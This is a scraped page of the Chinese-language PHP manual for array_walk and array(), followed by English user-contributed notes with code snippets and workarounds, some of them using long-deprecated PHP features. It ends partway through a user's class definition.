          for($a=0; $a<count($funcname); $a++)
            if(is_object($funcname[$a])) {
              $f .= get_class($funcname[$a]);
            } else {
              if($a > 0)
                $f .= '::';
              $f .= $funcname[$a];
            }
          $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
          eval($f);
        } else {
          if(!empty($userdata))
            $funcname($value, $key, $userdata);
          else
            $funcname($value, $key);
        }

        if($value != $saved_value)
          $input[$key] = $value;
      }
    }
    return true;
  } else {
    array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
    'A' => 'H"e"l"l"o" "W"o"r"l"d'
    )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>
omega13a at sbcglobal dot net 21-Dec-2005 04:21
This is a peice of code I wrote that appears to create this function for PHP 4.

<?php
if (!function_exists('array_walk_recursive'))
{
    function array_walk_recursive(&$input, $funcname, $userdata = "")
    {
        if (!is_callable($funcname))
        {
            return false;
        }

        if (!is_array($input))
        {
            return false;
        }

        foreach ($input AS $key => $value)
        {
            if (is_array($input[$key]))
            {
                array_walk_recursive($input[$key], $funcname, $userdata);
            }
            else
            {
                $saved_value = $value;
                if (!empty($userdata))
                {
                    $funcname($value, $key, $userdata);
                }
                else
                {
                    $funcname($value, $key);
                }

                if ($value != $saved_value)
                {
                    $input[$key] = $value;
                }
            }
        }
        return true;
    }
}
?>

Please note it is a conditionaly set function and will have to be put before any call to it.

If there is anything wrong with it, please email me.


使用用户自定义函数对数组中的每个元素做回调处理

  • ? array_walk_recursive
  • array ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义函数对数组中的每个元素做回调处理

array_walk

(PHP 4, PHP 5, PHP 7)

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

说明

array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool

将用户自定义函数 funcname 应用到 array 数组中的每个单元。

array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。

参数

array

输入的数组。

callback

典型情况下 callback 接受两个参数。array 参数的值作为第一个，键名作为第二个。

Note:

如果 callback 需要直接作用于数组中的值，则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

Note:

参数数量超过预期，传入内置函数 (例如 strtolower())， 将抛出警告，所以不适合当做 funcname。

只有 array 的值才可以被改变，用户不应在回调函数中改变该数组本身的结构。例如增加/删除单元，unset 单元等等。如果 array_walk() 作用的数组改变了，则此函数的的行为未经定义，且不可预期。

userdata

如果提供了可选参数 userdata，将被作为第三个参数传递给 callback funcname。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

如果 callback 函数需要的参数比给出的多，则每次 array_walk() 调用 callback 时都会产生一个 E_WARNING 级的错误。

范例

Example #1 array_walk() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
    $item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
    echo "$key. $item2<br />\n";
}

echo "Before ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... and after:\n";

array_walk($fruits, 'test_print');
?>

以上例程会输出：

Before ...:
d. lemon
a. orange
b. banana
c. apple
... and after:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

参见

  • array_walk_recursive() - 对数组中的每个成员递归地应用用户函数
  • iterator_apply() - 为迭代器中每个元素调用一个用户自定义函数
  • list() - 把数组中的值赋给一组变量
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • array_map() - 为数组的每个元素应用回调函数
  • callback 类型的信息
  • foreach

User Contributed Notes

taj at yahoo dot fr 27-Feb-2019 11:42
// We can make that with this simple FOREACH loop :

$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

foreach($fruits as $cls => $vls)
{
  $fruits[$cls] = "fruit: ".$vls;
}

Results:

Array
(
    [d] => fruit: lemon
    [a] => fruit: orange
    [b] => fruit: banana
    [c] => fruit: apple
)
EllisGL 01-Aug-2018 06:15
For those that think they can't use array_walk to change / replace a key name, here you go:

<?php
function array_explore(array &$array, callable $callback)
{
    array_walk($array, function(&$value, $key) use (&$array, $callback)
    {
        $callback($array, $key, $value);

        if(is_array($value))
        {
            array_explore($value, $callback);
        }
    });
}

/**
 * Stolen from: https://stackoverflow.com/questions/13233405/change-key-in-associative-array-in-php
 */
function renameKey(array &$data, $oldKey, $newKey, $ignoreMissing = false, $replaceExisting = false)
{
    if (!empty($data))
    {
        if (!array_key_exists($oldKey, $data))
        {
            if ($ignoreMissing)
            {
                return FALSE;
            }

            throw new \Exception('Old key does not exist.');
        }
        else
        {
            if (array_key_exists($newKey, $data))
            {
                if ($replaceExisting)
                {
                    unset($data[$newKey]);
                }
                else
                {
                    throw new \Exception('New key already exist.');
                }
            }

            $keys = array_keys($data);

            // Fix from EllisGL: http://php.net/manual/en/function.array-search.php#122377
            $keys[array_search($oldKey, array_map('strval', $keys))] = $newKey;

            $data = array_combine($keys, $data);

            return TRUE;
        }
    }

    return FALSE;
}

$array = [
    "_10fish" => 'xyz',
    "_11fish" => [
        "_22" => "a", "b", "c"
        ],
    "someFish" => [
        'xyz',
        '@attributes' => ['type' => 'cod']
        ]
    ];

array_explore($array, function(&$value, $key)
{
    // Replace key '@attrutes' with '_attributes'
    if('@attributes' === $key)
    {
        renameKey($value, $key, '_attributes');
    }

});

print_r($array);
?>
01001coder at gmail dot com 05-Dec-2017 10:19
I noticed that :

PHP ignored arguments type when using array_walk() even if there was

declare(strict_types=1) .

See this code as an example ...

<?php
declare(strict_types=1);

$fruits = array("butter" => 5.3, "meat" => 7, "banana" => 3);

function test_print(int $item2, $key) {
    echo "$key: $item2<br />\n";
}

array_walk($fruits, 'test_print');

?>

The output is :

butter: 5
meat: 7
banana: 3

whilst the expecting output is :

Fatal error: Uncaught TypeError: Argument 1 passed to test_print() must be of the type integer

because "butter" => 5.3 is float

I asked someone about it and they said "this was caused by the fact that callbacks called from internal code will always use weak type". But I tried to do some tests and this behavior is not an issue when using call_user_func().
vrrivaro at YESIUSEGMAIL dot gmail dot SO dot com 18-Mar-2017 02:40
The output of the example is only correct if viewed through a web browser. If you pass it through to PHP-CLI, you will get to see the additional HTML line breaks, however.
fantomx1 at gmail dot com 22-Aug-2016 08:08
Since array_walk cannot modify / change / reindex keys as already mentioned, i provide this small wrapping function which accomplishes passing array reference and index using closures , "use" keyword.

function indexArrayByElement($array, $element)
{
    $arrayReindexed = [];
    array_walk(
        $array,
        function ($item, $key) use (&$arrayReindexed, $element) {
            $arrayReindexed[$item[$element]] = $item;
        }
    );
    return $arrayReindexed;
}
fred 30-Dec-2015 09:01
Correction for the speed test from zlobnygrif.

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
   /* make sure we walk the array each time */
    reset($array);
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        /* change data for each $i */
        $function($array, 'some_function', 'some user data ' . $i);
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
ezhacher at gmail dot com 27-Aug-2014 12:45
Calling an array Walk inside a class

If the class is static:
array_walk($array, array('self', 'walkFunction'));
or
array_walk($array, array('className', 'walkFunction'));

Otherwise:
array_walk($array, array($this, 'walkFunction'));
chaley at brtransport dot com 16-Jun-2014 12:46
There is a note about 3 years ago regarding using this for trimming. array_map() may be cleaner for this. I haven't checked the time/resource impact:

$result = array_map("trim", $array);
zlobnygrif at gmail dot com 17-Jul-2013 05:41
Some speed tests

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        $function($array, 'some_function', 'some user data');
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
?>

Output (PHP 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39))
=========================
array_walk ... 13.572 sec
array_walk_list_each ... 0.027 sec
array_walk_foreach1 ... 15.356 sec
array_walk_foreach2 ... 17.416 sec
bool(true)
bool(true)
bool(true)

Output (PHP 5.5.0 (cli) (built: Jul 16 2013 17:59:42) - same server)
=========================
array_walk ... 4.776 sec
array_walk_list_each ... 0.006 sec
array_walk_foreach1 ... 4.482 sec
array_walk_foreach2 ... 5.166 sec
bool(true)
bool(true)
bool(true)

PHP 5.5 array_walk looks pretty good but list each is more and more quickly...
brian at access9 dot net 24-May-2013 10:03
array_walk does not work on SplFixedArray objects:
<?php
$array = new SplFixedArray(2);
$array[0] = 'test_1';
$array[1] = 'test_2';

array_walk($array, function(&$val){
    $val .= '__';
    return $val;
});
foreach ($array as $a) {
    echo "$a\n";
}
?>

result is:
test_1
test_2
gold[at]evolved.net.nz 27-Mar-2013 10:08
For all those people trying to shoe-horn trim() into array_walk() and have found all these tricks to work around the issue with array_walk() passing 2 parameters to the callback...

Check out array_map().

http://php.net/array_map

It's all sorts of win.

For the record. I'm one of these people and after 15 years of php development I'm pleased to say that there's still things I'm learning. :)  I just found out about array_map() myself...
espertalhao04 at hotmail dot com 26-Dec-2012 11:35
here is a simple and yet easy to use implementation of this function.
the 'original' function has the problem that you can't unset a value.
with my function, YOU CAN!

<?php
function array_walk_protected(&$a,$s,$p=null)
{
    if(!function_exists($s)||!is_array($a))
    {
        return false;
    }

    foreach($a as $k=>$v)
    {
        if(call_user_func_array($s,array(&$a[$k],$k,$p))===false)
        {
            unset($a[$k]);
        }
    }
}

function get_name(&$e,$i,$p)
{
    echo "$i: $e<br>";
    return false;
}

$m=array('d'=>'33','Y'=>55);

array_walk_protected($m,'get_name');

var_dump($m); //returns array(0) { }
?>

i called it array_walk_protected because it is protected against the unexpected behavior of unsetting the value with the original function.

to delete an element, simply return false!!!
nothing else is needed!
unsetting $e, under your created function, will keep the same array as-is, with no changes!

by the way, the function returns false if $a is not array or $s is not a string!

limitations: it only can run user defined functions.
i hope you like it!
manuscle at gmail dot com 06-Dec-2011 07:16
example with closures, checking and deleting value in array:

<?php
$array = array('foo' => 'bar', 'baz' => 'bat');

array_walk($array, function($val,$key) use(&$array){
    if ($val == 'bar') {
        unset($array[$key]);
    }
});

var_dump($array);
alex_stanhope at hotmail dot com 26-Oct-2011 01:16
I wanted to walk an array and reverse map it into a second array.  I decided to use array_walk because it should be faster than a reset,next loop or foreach(x as &$y) loop.

<?php
$output = array();
array_walk($input, 'gmapmark_reverse', $output);

function gmapmark_reverse(&$item, $index, &$target) {
    $target[$item['form_key']] = $index;
}
?>

In my debugger I can see that $target is progressively updated, but when array_walk returns, $output is empty.  If however I use a (deprecated) call-by-reference:

<?php
array_walk($input, 'gmapmark_reverse', &$output);
?>

$output is returned correctly.  Unfortunately there's not an easy way to suppress the warnings:

<?php
@array_walk($input, 'gmapmark_reverse', &$output);
?>

doesn't silence them.  I've designed a workaround using a static array:

<?php
$reverse = array();
array_walk($input, 'gmapmark_reverse');
// call function one last time to get target array out, because parameters don't work
$reverse = gmapmark_reverse($reverse);

function gmapmark_reverse(&$item, $index = 0) {
  static $target;
  if (!$target) {
    $target = array();
  }
  if (isset($item['form_key'])) {
    $target[$item['form_key']] = $index;
  }
  return($target);
}
?>
tufanbarisyildirim at gmail dot com 05-Oct-2011 06:15
Filter an array by using key.

<?php
    $product_1 = 'test';
    $product_2 = 'test 2';

    function array_key_filter($array,$callback = 'trim')
    {
        $filtered = array();
        array_walk($array,function ($degeri,$degisken_adi) use (&$filtered,$callback)
        {
            if($callback($degisken_adi))
            {
                $filtered[$degisken_adi] =  $degeri;
            }
        });

        return $filtered;
    }

    #using

    $degiskenler = array_key_filter(get_defined_vars(),function($key)
    {
        return strpos($key,'product_') === 0;
    });

    print_r($degiskenler);
?>
output:

Array
(
    [product_1] => test
    [product_2] => test 2
)
Maxim 11-Jul-2011 12:23
Note that using array_walk with intval is inappropriate.
There are many examples on internet that suggest to use following code to safely escape $_POST arrays of integers:
<?php
array_walk($_POST['something'],'intval'); // does nothing in PHP 5.3.3
?>
It works in _some_ older PHP versions (5.2), but is against specifications. Since intval() does not modify it's arguments, but returns modified result, the code above has no effect on the array and will leave security hole in your website.

You can use following instead:
<?php
$_POST['something'] = array_map(intval,$_POST['something']);
?>
@jfredys 22-Mar-2011 05:07
I was looking for trimming all the elements in an array, I found this as the simplest solution:

<?php
array_walk($ids, create_function('&$val', '$val = trim($val);'));
?>
http://alex.moutonking.com/wordpress 15-Feb-2011 10:49
For completeness one has to mention the possibility of using this function with PHP 5.3 closures:

<?php
$names = array("D\'Artagnan", "Aramis", "Portos");
array_walk($names, function(&$n) {
  $n = stripslashes($n);
});
?>

The trap with array_walk being it doesn't return the array, instead it's modified by reference.
op_adept at yahoo dot co dot uk 02-Dec-2010 03:20
Prefix array values with keys and retrieve as a glued string, the original array remains unchanged. I used this to create some SQL queries from arrays.

<?php

function array_implode_prefix($outer_glue, $arr, $inner_glue, $prefix=false){
    array_walk( $arr , "prefix", array($inner_glue, $prefix) );
    return implode($outer_glue, $arr);
}

function prefix(&$value, $key, array $additional){
    $inner_glue = $additional[0];
    $prefix = isset($additional[1])? $additional[1] : false;
    if($prefix === false) $prefix = $key;

    $value = $prefix.$inner_glue.$value;
}

//Example 1:
$order_by = array("3"=>"ASC", "2"=>"DESC", "7"=>"ASC");
echo array_implode_prefix(",", $order_by, " ");
//Output: 3 ASC,2 DESC,7 ASC

//Example 2:
$columns = array("product_id", "category_id", "name", "description");
$table = "product";

echo array_implode_prefix(", ", $columns, ".", $table);
//Output:product.product_id, product.category_id, product.name, product.description

//Example 3 (function prefix) won't really be used on its own
$pre= "vacation";
$value = "lalaland";
prefix($value, $pre, array("."));
echo $value;

//Output: vacation.lalaland

?>
matthew at codenaked dot org 02-Sep-2010 11:24
Using lambdas you can create a handy zip function to zip together the keys and values of an array. I extended it to allow you to pass in the "glue" string as the optional userdata parameter. The following example is used to zip an array of email headers:

<?php

/**
 * Zip together the keys and values of an array using the provided glue
 *
 * The values of the array are replaced with the new computed value
 *
 * @param array $data
 * @param string $glue
 */
function zip(&$data, $glue=': ')
{
    if(!is_array($data)) {
        throw new InvalidArgumentException('First parameter must be an array');
    }

    array_walk($data, function(&$value, $key, $joinUsing) {
        $value = $key . $joinUsing . $value;
    }, $glue);
}

$myName = 'Matthew Purdon';
$myEmail = 'matthew@example.com';
$from = "$myName <$myEmail>";

$headers['From'] = $from;
$headers['Reply-To'] = $from;
$headers['Return-path'] = "<$myEmail>";
$headers['X-Mailer'] = "PHP" . phpversion() . "";
$headers['Content-Type'] = 'text/plain; charset="UTF-8"';

zip($headers);

$headers = implode("\n", $headers);
$headers .= "\n";

echo $headers;

/*
From: Matthew Purdon <matthew@example.com>
Reply-To: Matthew Purdon <matthew@example.com>
Return-path: <matthew@example.com>
X-Mailer: PHP5.3.2
Content-Type: text/plain; charset="UTF-8"
*/
?>
arekandrei at yandex dot ru 03-Jan-2010 07:30
You can use lambda function as a second parameter:

<?php
array_walk($myArray, function(&$value, $key){
    // if you want to change array values then "&" before the $value is mandatory.
});
?>

Example (multiply positive values by two):

<?php
$myArray = array(1, 2, 3, 4, 5);

array_walk($myArray, function(&$value, $index){
    if ($value > 0) $value *= 2;
});
?>
rustamabd at gmail dot com 13-Dec-2009 06:32
Don't forget about the array_map() function, it may be easier to use!

Here's how to lower-case all elements in an array:

<?php
    $arr = array_map('strtolower', $arr);
?>
erelsgl at gmail dot com 04-Mar-2009 03:40
If you want to unset elements from the callback function, maybe what you really need is array_filter.
jab_creations_-at_-yahoo_-dot-_com 26-Nov-2008 04:08
Unfortunately I spent a lot of time trying to permanently apply the effects of a function to an array using the array_walk function when instead array_map was what I wanted. Here is a very simple though effective example for those who may be getting overly frustrated with this function...

<?php
$fruits = array("Lemony & Fresh","Orange Twist","Apple Juice");

print_r($fruits);
echo '<br />';

function name_base($key)
{
 $name2 = str_replace(" ", "_", $key);
 $name3 = str_replace("&", "and", $name2);
 $name4 = strtolower($name3);
 echo $name4.'<br />';
 return $name4;
}
echo '<br />';

$test = array_map('name_base', $fruits);
$fruits_fixed = $test;
echo '<br />';
print_r($fruits_fixed);
?>
peterzuzek AT gmail DOT com 16-Nov-2008 09:04
I had some problems using this function - it didn't want to apply PHP-defined functions. So I decided to write my own - here it is. I had to use some generic-programming skills, didn't really checked the speed (I think it could be slow)... I believe it could be much better, but I don't know, how - well, I guess multiple array support and recursion would be nice. So?

Prototype:
bool arrayWalk(array &$arry, callback $callback, mixed $params=false)

<?php

    function arrayWalk(&$arry, $callback, $params=false) {
        $P=array(""); // parameters
        $a=""; // arguement string :)

        if($params !== false) { // add parameters
            if(is_array($params)) { // multiple additional parameters
                foreach($params as $par)
                    { $P[]=$par; }
            }
            else // just one additional
                { $P[]=$params; }
        }

        for( // create the arguement string
            $i=0; isset($P[$i]); ++$i
        )
            { $a.='$'.chr($i + 97).', '; } // random argument names

        $a=substr($a, 0, -2); // to get rid of the last comma and two spaces

        $func=create_function($a, 'return '.$callback.'('.$a.');'); // the generic function

        if(is_callable($func)) {
            for( // cycle through array
                $i=0; isset($arry[$i]); ++$i
            ) {
                $P[0]=$arry[$i]; // first element must be the first argument - array value
                $arry[$i] = call_user_func_array($func, $P); // assign the new value obtained by the generic function
            }
        }
        else
            { return false; } // failure - function not callable

        return true; // success!
    } // arrayWalk()

?>

One big problem I've noticed so far - for example, if you wanted to use str_replace on the array, you'd fail - simply because of the arguement order of str_replace, where the string modified is the third arguement, not the first as arrayWalk requires.

So, still some work left...
diyism 30-Oct-2008 11:18
When i pass the third parameter by reference in php5.2.5,
happened this: Warning: Call-time pass-by-reference has been deprecated - argument passed by value...

And to set allow_call_time_pass_reference to true in php.ini won't work, according to http://bugs.php.net/bug.php?id=19699   thus to work around:

<?php
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_") {$arr_rtn[0]["_".$v[\'ID\']]=$v; unset($arr_rtn[0][$k]);}'), array(&$arrChnOut));
?>
jerk at yoosic dot de 21-Dec-2006 08:05
if you want to modify every value of an multidimensional array use this function used here:

<?php

$array = array (1=>1, 2=> 2, 3 => array(1=>11, 2=>12, 3=>13));
$text = "test";

function modarr(&$array, $text) {
        foreach ($array as $key => $arr) {
                if(is_array($arr)) $res[$key] = modarr(&$arr,$text);
                // modification function here
                else $res[$key] = $arr.$text;
                }
        return $res;
}

$erg = modarr($array, $text);

print_r($erg);

?>

result will be_

<?php
Array ( [1] => 1test [2] => 2test [3] => Array ( [1] => 11test [2] => 12test [3] => 13test ) )
?>
ludvig dot ericson at gmail dot com 21-Nov-2005 06:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
    for($i = 0; $i < strlen($string); $i++) {
        # NOTE: PHP's dereference sucks, we have to do this.
        $hack = $string{$i};
        call_user_func($funcname, &$hack, $i, $userdata);
        $string{$i} = $hack;
    }
}

function yourFunc($value, $position) {
    echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
    $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
Andrzej Martynowicz at gmail dot com 18-Sep-2005 06:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?php
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?php
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>

This outputs:
Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
el_porno at web dot de 27-May-2005 03:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
    public function mungeFormData(&$data)
    {
        array_walk($data, array($this, 'munge'));
    }

    private function munge(&$value, &$key)
    {
        if(is_array($value))
        {
            $this->mungeFormData($value);
        }
        else
        {
            $value = trim($value);
        }
    }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
Enlightened One 07-Apr-2005 11:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
bisqwit at iki dot fi 03-Sep-2004 04:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.


新建一个数组

  • ? array_walk
  • arsort ?
  • PHP Manual
  • 数组 函数
  • 新建一个数组

array

(PHP 4, PHP 5, PHP 7)

array — 新建一个数组

说明

array ([ mixed $... ] ) : array

创建一个数组。关于数组是什么的信息请阅读数组一节。

参数

...

语法"index => values"，用逗号分开，定义了索引和值。索引可以是字符串或数字。如果省略了索引，会自动产生从 0 开始的整数索引。如果索引是整数，则下一个产生的索引将是目前最大的整数索引 + 1。注意如果定义了两个完全一样的索引，则后面一个会覆盖前一个。

在最后一个定义的数组项目之后加一个逗号虽然不常见，却是合法的语法。

返回值

返回根据参数建立的数组。参数可以用 => 运算符给出索引。关于数组是什么的信息请阅读数组一节。

范例

下面的例子演示了怎样建立一个二维数组，怎样给相应的数组指定键名，以及怎样在普通数组中略过和继续数字索引。

Example #1 array() 例子

<?php
$fruits = array (
    "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("first", 5 => "second", "third")
);
?>

Example #2 array() 的自动索引

<?php
$array = array(1, 1, 1, 1,  1, 8 => 1,  4 => 1, 19, 3 => 13);
print_r($array);
?>

以上例程会输出：

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

注意索引 3 被定义了两次，保留了最后的值 13。索引 4 在 索引 8 之后定义，下一个自动生成的索引（值为 19 那个）为 9，因为最大的索引是 8。

本例建立了从 1 开始的数组。

Example #3 从 1 开始索引的 array()

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

以上例程会输出：

Array
(
    [1] => January
    [2] => February
    [3] => March
)

在 Perl 中，可以访问在双引号内的数组的值。但在 PHP 中需要将数组用花括号括起来。

Example #4 访问双引号内的数组

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

注释

Note:

array() 是一个语言结构，用于字面上表示数组，不是常规的函数。

参见

  • array_pad() - 以指定长度将一个值填充进数组
  • list() - 把数组中的值赋给一组变量
  • count() - 计算数组中的单元数目，或对象中的属性个数
  • range() - 根据范围创建数组，包含指定的元素
  • foreach
  • The array type

User Contributed Notes

ayyappan dot ashok at gmail dot com 18-Apr-2016 06:26
The code bellow by dave@wp.pl:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

//prints NOTHING instead 2.
// prints 2 with PHP version 7.01 onwards

Note :
This results 2 with PHP version 7.01 onwards. Other versions throws a notice error
majkel 20-Apr-2015 09:13
During initialization php parses every value as expression. One can declare variables, do calculations, or even manipulate "current" array

<?php

$arr['A'] = [
    &$arr, // circular reference
    'key' => 'val',
    $arr['B'] = [ // declare array, insert key and then value
        'a' => 'b',
    ],
    ucfirst(strtolower('SOME TEXT')),
    true ? 'TRUE' : 'FALSE', // evaluate expression
    $x  = 3, // declare variable
    $x *= 3, // perform calculations
];

var_dump($arr);

// Output
/*
array(2) {
  'B' => array(1) {
    'a' => string(1) "b"
  }
  'A' => array(7) {
    [0] => array(2) {
      'B' => array(1) {
        ...
      }
      'A' => &array
    }
    'key' => string(3) "val"
    [1] => array(1) {
      'a' => string(1) "b"
    }
    [2] => string(9) "Some text"
    [3] => string(4) "TRUE"
    [4] => int(3)
    [5] => int(9)
  }
}
*/
?>
dave at wp dot pl 27-Feb-2015 03:55
The code bellow:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

prints NOTHING instead 2.
ole dot aanensen at gmail dot com 10-Jun-2014 08:13
As of PHP 5.4.x you can now use 'short syntax arrays' which eliminates the need of this function.

Example #1 'short syntax array'
<?php
    $a = [1, 2, 3, 4];
    print_r($a);
?>

The above example will output:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

Example #2 'short syntax associative array'
<?php
    $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];
    print_r($a);
?>

The above example will output:
Array
(
    [one] => 1
    [two] => 2
    [three] => 3
    [four] => 4
)
sergei dot solomonov at gmail dot com 02-Oct-2013 08:53
Consider:
file inc1.php
-------------
<?php
return 'key';

file inc2.php
-------------
<?php
return 'value';

Test:
<?php
$a = [
    include 'inc1.php' => include 'inc2.php'
];
var_dump($a);

/* It works!!!
array(1) {
  'key' =>
  string(5) "value"
}
*/
qeremy 07-Mar-2012 02:50
Some tricky functions;

<?php
function is_array_assoc($arr) {
    if (is_array($arr)) {
        foreach ($arr as $k => $v) {
            if (is_string($k) || (is_int($k) && $k < 0)) {
                return 1;
            }
        }
        return 0;
    }
    return -1;
}

function is_array_multi($arr) {
    return is_array($arr)
        ? (count($arr) != count($arr, COUNT_RECURSIVE) ? 1 : 0)
        : -1;
}

$arr[] = array("foo", "bar", 1.09);
$arr[] = array("red", "yellow", 1 => "foo");
$arr[] = array("red", "yellow", -1 => "foo");
$arr[] = array("x" => array("red", "yellow"), "y" => array("one", "two"));
$arr[] = array();
$arr[] = "s";

foreach ($arr as $a) {
    echo is_array_assoc($a) ."\n";
}
echo "\n";
foreach ($arr as $a) {
    echo is_array_multi($a) ."\n";
}
?>

0
0
1
1
0
-1

0
0
0
1
0
-1

<?php
function array_count($arr) {
    $r = 0;
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r++;
        }
    }
    return $r;
}

function array_count_all($arr, $r = 0) {
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r = array_count_all($v, $r);
            $r++;
        }
    }
    return $r;
}

$a = array("foo", "bar", 1.09, array(1,2,3), array("a" => "aaa"));
echo array_count($a); // 2

$a = array(
    "foo", "bar", 1.09,
    "x" => array(1,2,3),
    array("a" => "aaa", "b" => array(), "c" => array(""), "d" => array("")),
    "e" => array(""),
    "z" => array(""),
    "q" => array("", array()),
    "w" => array("lorem", 1 => "impsum", 18, "dolor", array("last as 11th array"))
);
echo array_count_all($a); // 11
?>
r0h4rd at gmail dot com 06-Feb-2011 02:59
"Quick and dirty" class to get an offset of multidimensional array by given path (sorry, that without comments).

<?php

    class ArrayAsPathException extends Exception {}

    class ArrayAsPath {
        protected
            $data = array(),
